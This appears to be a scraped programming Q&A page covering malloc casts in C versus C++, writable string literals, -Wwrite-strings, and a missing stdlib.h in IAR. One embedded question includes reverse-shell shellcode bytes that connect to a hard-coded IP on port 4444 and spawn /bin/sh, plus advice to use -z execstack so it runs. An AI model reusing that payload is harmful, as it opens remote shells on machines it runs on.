Array of char* and how to allocate memory for each - c

I have a very simple problem that I cannot seem to figure out. I have this:
char* array[10];
So, I then have 10 char* pointers on the stack. Now all I want to do is allocate memory for each pointer. As in:
array[0] = malloc(sizeof(char)*6);
And then store some characters at this location:
strncpy(array[0], "hello", sizeof("hello"));
Yet, I am getting a compile-time error at the first step of allocating the memory:
error: invalid conversion from ‘void*’ to ‘char*’ [-fpermissive]
But it works as expected at Ideone.
What am I doing wrong? I understand what I am trying to do, but I do not understand why it does not work. At each index in array there is a char*. By using the = symbol I am trying to assign each pointer to a block of memory allocated to it.
What am I doing wrong?
Compiling with g++ -g -Wall

What am I doing wrong? Compiling with g++ -g -Wall
g++ always compile a .c file as .cpp. Compile it with a C compiler (like GCC). In C++, you must have to cast the return value of malloc. In case of C, do not cast return value of malloc.

Your code is valid C, but you are compiling your code as C++, which, unike C, has no implicit conversion from void* to char*.
If you intended to compile the code as C (in which case you do not require the cast), use gcc, instead of g++. Also make sure you your file does not end with an extension that gcc interprets as C++ (.cpp, .C, .cxx or .cc). Or play it safe and use the .c extension.
If you want to make the code valid C++, you need to cast to char*:
array[0] = (char*)malloc(sizeof(char)*6);

This is probably the most visible difference between C and C++: C can implicitely convert the void* returned by malloc() to any other type, C++ can't.
Now, by compiling with g++, or by using a .cpp file name extension, you are compiling your code as C++ code, not C code. Use gcc instead and make sure that your source file ends with .c, and your code will compile fine.
An alternative solution is to add the cast that C++ requires: array[0] = static_cast<char*>(malloc(sizeof(char)*6));

As others have pointed out, C++ does not allow an implicit conversion from void * to char *.
If this is really supposed to be C++ code, I'd advise using new instead of malloc for dynamic memory allocation, and for this particular code I'd advise using a vector of string instead of an array of char *:
#include <vector>
#include <string>
...
std::vector< std::string > array;
...
array[0] = "hello"; // literal is implicitly converted to an instance of string
The string and vector implementations do all the memory management for you.
If this is really supposed to be C code, simply compile it using gcc instead of g++.

Try something like this:
array[0] = static_cast<char *>(malloc(sizeof(char)*6));
How should I cast the result of malloc in C++?

Related

Why doesn't my C compiler warn when I assign a string literal to a non-const pointer?

The following code compiles fine with, for example, the default settings in Xcode 11.3.1:
#include <stdio.h>
int main(int argc, const char * argv[]) {
char* thing = "123";
thing[2] = '4';
printf("%s\n", thing);
return 0;
}
However, at runtime the code traps with EXC_BAD_ACCESS on thing[2] = '4'. I assume this is because the memory for the bytes representing "123" is compiled into my program's binary somewhere that on a modern processor/OS gets marked as for code rather than data. (This answer confirms that — not to mention there's a leaq 0x4d(%rip), %rsi ; "123" line in the disassembly, passing the pointer to an address relative to the instruction pointer!)
Is it just a historical artifact that C allows this, from the era of self-modifying code? I notice that I can also assign void* x = main; without any complaint that I'm discarding modifiers.
This answer says:
According to the C99 rationale, there were people in the committee who wanted string literals to be modifiable, so the standard does not explicitly forbid it.
Is there any further discussion I could read on that? More practically, is there a way to tell clang and/or gcc to flag such assignments (even though they are not actually forbidden) with a warning, without compiling as C++?
The answer you have quoted is an opinion without citation, and frankly nonsense. It is about nothing more than not breaking the vast quantity of existing legacy C code that it is desirable to remain compilable in a modern compiler.
However many compilers will issue a warning if you set the necessary warning level or options. In GCC for example:
-Wwrite-strings
When compiling C, give string constants the type const char[length] so that copying the address of one into a non-const char* pointer produces a warning. These warnings help you find at compile time code that can try to write into a string constant, but only if you have been very careful about using const in declarations and prototypes. Otherwise, it is just a nuisance. This is why we did not make -Wall request these warnings.
When compiling C++, warn about the deprecated conversion from string literals to char *. This warning is enabled by default for C++ programs.
CLANG also has -Wwrite-strings, where is a synonym for -Wwriteable-strings
-Wwritable-strings
This diagnostic is enabled by default.
Also controls -Wdeprecated-writable-strings.
Diagnostic text:
warning: ISO C++11 does not allow conversion from string literal to A
The diagnostic text is different for C compilation - I'm just quoting the manual.
In GCC with -Wwrite-strings:
int main()
{
char* x = "hello" ;
return 0;
}
produces:
main.c:3:15: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
CLANG produces:
source_file.c:3:15: warning: initializing 'char *' with an expression of type 'const char [6]' discards qualifiers [-Wincompatible-pointer-types-discards-qualifiers]
Opposite to C++ In C string literals have types of non-constant character arrays.
However according to the C Standard any attempt to modify a string literal results in undefined behavior.
Historically the C language did not have the qualifier const. The qualifier const at first appeared in C++. So for the backward compatibility string literals in C have types of non-constant character arrays.
You have the -Wwrite-strings:
When compiling C, give string constants the type const char[length] so that copying the address of one into a non-const char * pointer produces a warning. These warnings help you find at compile time code that can try to write into a string constant, but only if you have been very careful about using const in declarations and prototypes. Otherwise, it is just a nuisance. This is why we did not make -Wall request these warnings.
https://gcc.gnu.org/onlinedocs/gcc-4.9.2/gcc/Warning-Options.html

shellcode working , but no in a custom C program

my payload asm works , but I tried to embed to my own c program it works. conect to my nc port 4444 then brake the conection . I dont why this it happen if I tested this example on my asm executable and it works perfectly , but on my c program not. what can I do ? how can I debug it?
#include <stdio.h>
unsigned char random[] = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";
//\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 64 bits shell
unsigned char shellcode[] = "\x68\xac\x14\x0a\x02\x66\x68\x11\x5c\x66\x6a\x02\x6a\x2a\x6a\x10\x6a\x29\x6a\x01\x6a\x02\x5f\x5e\x48\x31\xd2\x58\x0f\x05\x48\x89\xc7\x5a\x58\x48\x89\xe6\x0f\x05\x48\x31\xf6\xb0\x21\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\x7e\xf3\x48\x31\xc0\x48\xbf\x2f\x2f\x62\x69\x2f\x73\x68\x48\x31\xf6\x56\x57\x48\x89\xe7\x48\x31\xd2\xb0\x3b\x0f\x05";
int main(void){
((void (*)())shellcode)();
}
./custom
Segmentation fault (core dumped)
You are trying to convert an object pointer shellcode to a function pointer in the following statement:
((void (*)())shellcode)();
This can lead to undefined behaviour.
C99 standard states this on the section on function pointers:
Even with an explicit cast, it is invalid to convert a function pointer to an object pointer or a pointer to void, or vice versa.
You can see this when you compile your code with -pedantic-errors option in GCC which gives the following error.
<source>: In function 'main':
<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]
See live demo here.
The solution to this is probably setting the executable stack option during compilation by using the -z execstack with GCC.
It has something to do with the way the shellcode is being called via a pointer to a function. The pointer is being passed around and ends up being on the stack during the call trampoline, and so the stack must be executable for it to work.

IAR compilation failure, CCS compilation works. Types Incompatibility

After developing a new firmware (main and libraries) with CCS for my CC2538, all errors are debugged, and now, device is working fine.
As from CCS I can not flash the firmware permanently, I'm working with IAR to develop this action.
On IAR, I have created the workspace, the project and included all libraries and files needed to compile the firmware. But, compilation fails due to incompatible types errors.
Error[Pe144]: a value of type "int" cannot be used to initialize an
entity of type "signed short *"
int16_t *accData[3] = malloc(sizeof(int16_t));
Error[Pe513]: a value of type "int" cannot be assigned to an entity
of type "signed short *"
int16_t *accData[3] = malloc(sizeof(int16_t));
Error[Pe120]: return value type ("signed short **") does not match
the function type ("signed short*")
int16_t * lsm303d_readAccData(void)
{
int16_t *accData[3] = malloc(sizeof(int16_t));
...
return accData;
}
Which is the root cause of these errors?
Maybe, any option of the compiler? Do I need to add any file? Or prototype on the code?
KR!
Which is the root cause of these errors?
"a value of type "int"" is the root cause. There should be no int here! Just the signed short* (which is your int16_t*) and a void* from malloc.
This is because you are using a C90 compiler and forgot to #include <stdlib.h>. Upon finding a function with no prototype, C90 would implicitly assume you want a function returning int, which explains the compiler errors "a value of type "int"". But malloc actually returns a void*, so this is a severe bug. Solve this by including the header stdlib.h where malloc is found.
This undesired and irrational behavior of the language was fixed 17 years ago. Consider using a modern compiler instead, or configure your compiler to use the current C language standard (ISO 9899:2011).
That being said, this code doesn't make any sense either:
int16_t *accData[3] = malloc(sizeof(int16_t));
You probably meant
int16_t *accData = malloc( sizeof(int16_t[3]) );
The first error is somewhat misleading. It seems to indicate that you forgot to include <stdlib.h>, so malloc is undefined and the compiler assumes it returns int.
In any case, you are assigning a pointer to an array: this is incorrect.
Returning the address of a local automatic array is incorrect too.
You should define accData as a pointer instead of an array, and make it point to an allocated array of int16_t. You seem to want this array to hold 3 elements, otherwise modify the code accordingly:
#include <stdlib.h>
int16_t *lsm303d_readAccData(void) {
int16_t *accData = malloc(sizeof(int16_t) * 3);
...
return accData;
}
You should configure the compiler to issue more warnings and refuse obsolete constructions such as implicit int. For gcc, add -std=c99 or -std=c11 and -Wall -Wextra -Werror.

Malloc returning Void in C

Guys I'm programing in C, trying to do a dynamic allocation of a type char like this :
char **word1 = malloc(sizeof(char *)* 1);
char **word2 = malloc(sizeof(char *) * 1);
But it is resulting an erro like that: invalid conversion from 'void*' to 'char**' [-fpermissive]
Thanks every one who help me.
An educated guess: you're using a C++ compiler. C doesn't need any casts from void* to other pointer types, but C++ does.
Consider either using a C compiler, or casting the value returned by malloc.
In c compiler [gcc], this error would not show up.
In c++ compiler, [g++], this error is likely to happen.
To get rid of this,either
Use a c compiler to compile the above code.
Use a c++ compiler and add a char ** cast to malloc() return value.
Note: IMO, go for the 1st point. It's not a good practice neither to use malloc() family in c++, nor casting the return of malloc().

Why doesn't the compiler detect and produce errors when attempting to modify char * string literals?

Assume the following two pieces of code:
char *c = "hello world";
c[1] = 'y';
The one above doesn't work.
char c[] = "hello world";
c[1] = 'y';
This one does.
With regards to the first one, I understand that the string "hello world" might be stored in the read only memory section and hence can't be changed. The second one however creates a character array on the stack and hence can be modified.
My question is this - why don't compilers detect the first type of error? Why isn't that part of the C standard? Is there some particular reason for this?
C compilers are not required to detect the first error, because C string literals are not const.
Referring to the N1256 draft of the C99 standard:
6.4.5 paragraph 5:
In translation phase 7, a byte or code of value zero is appended to
each multibyte character sequence that results from a string literal
or literals. The multibyte character sequence is then used to
initialize an array of static storage duration and length just
sufficient to contain the sequence. For character string literals, the
array elements have type char, and are initialized with the
individual bytes of the multibyte character sequence; [...]
Paragraph 6:
It is unspecified whether these arrays are distinct provided their
elements have the appropriate values. If the program attempts to
modify such an array, the behavior is undefined.
(C11 does not change this.)
So the string literal "hello, world" is of type char[13] (not const char[13]), which is converted to char* in most contexts.
Attempting to modify a const object has undefined behavior, and most code that attempts to do so must be diagnosed by the compiler (you can get around that with a cast, for example). Attempting to modify a string literal also has undefined behavior, but not because it's const (it isn't); it's because the standard specifically says the behavior is undefined.
For example, this program is strictly conforming:
#include <stdio.h>
void print_string(char *s) {
printf("%s\n", s);
}
int main(void) {
print_string("Hello, world");
return 0;
}
If string literals were const, then passing "Hello, world" to a function that takes a (non-const) char* would require a diagnostic. The program is valid, but it would exhibit undefined behavior if print_string() attempted to modify the string pointed to by s.
The reason is historical. Pre-ANSI C didn't have the const keyword, so there was no way to define a function that takes a char* and promises not to modify what it points to. Making string literals const in ANSI C (1989) would have broken existing code, and there hasn't been a good opportunity to make such a change in later editions of the standard.
gcc's -Wwrite-strings does cause it to treat string literals as const, but makes gcc a non-conforming compiler, since it fails to issue a diagnostic for this:
const char (*p)[6] = &"hello";
("hello" is of type char[6], so &"hello" is of type char (*)[6], which is incompatible with the declared type of p. With -Wwrite-strings, &"hello" is treated as being of type const char (*)[6].) Presumably this is why neither -Wall nor -Wextra includes -Wwrite-strings.
On the other hand, code that triggers a warning with -Wwrite-strings should probably be fixed anyway. It's not a bad idea to write your C code so it compiles without diagnostics both with and without -Wwrite-strings.
(Note that C++ string literals are const, because when Bjarne Stroustrup was designing C++ he wasn't as concerned about strict compatibility for old C code.)
Compilers can detect the first "error".
In modern versions of gcc, if you use -Wwrite-strings, you'll get a message saying that you can't assign from const char* to char*. This warning is on by default for C++ code.
That's where the problem is - the first assignment, not the c[1] = 'y' bit. Of course it's legal to take a char*, dereference it, and assign to the dereferenced address.
Quoting from man 1 gcc:
When compiling C, give string constants the type "const char[length]" so that
copying the address of one into a non-"const" "char *" pointer will get a warning.
These warnings will help you find at compile time code that can try to write into a
string constant, but only if you have been very careful about using "const" in
declarations and prototypes. Otherwise, it will just be a nuisance. This is why we
did not make -Wall request these warnings.
So, basically, because most programmers didn't write const-correct code in the early days of C, it's not the default behavior for gcc. But it is for g++.
-Wwrite-strings seems to do what you want. Could have sworn that this was part of -Wall.
% cat chars.c
#include <stdio.h>
int main()
{
char *c = "hello world";
c[1] = 'y';
return 0;
}
% gcc -Wall -o chars chars.c
% gcc -Wwrite-strings -o chars chars.c
chars.c: In function ‘main’:
chars.c:5: warning: initialization discards qualifiers from pointer target type
From the man pages:
When compiling C, give string constants the type "const char[length]" so that copying the address of one into a non-"const" "char *" pointer will get a warning. These warnings will help you find at compile time code that can try to write into a string constant, but only if you have been very careful about using "const" in declarations and prototypes. Otherwise, it will just be a nuisance. This is why we did not make -Wall request these warnings.
When compiling C++, warn about the deprecated conversion from string literals to "char *". This warning is enabled by default for C++ programs.
Note the "enabled by default for C++" is probably why I (and others) think -Wall covers it. Also note the explanation as to why it isn't part of -Wall.
As for relating to the standard, C99, 6.4.5 item 6 (page 63 of the linked PDF) reads:
It is unspecified whether these arrays are distinct provided their elements have the
appropriate values. If the program attempts to modify such an array, the behavior is
undefined.
char* c = strdup("..."); would make c[1] sensible. (Removed rant on C) Though an intelligent compiler could/does warn against this, C traditionally is machine near, without (bounds/format/...) checking and other such "needless" overhead.
lint is the tool for detecting such errors: that a const char* was assigned to a char*. It would also mark a char c = c[30]; (No longer type dependent, but also addressing error.) As it would be nice to have declared c as const char*. C is an older language with a tradition of leniency and operating on many platforms.

Resources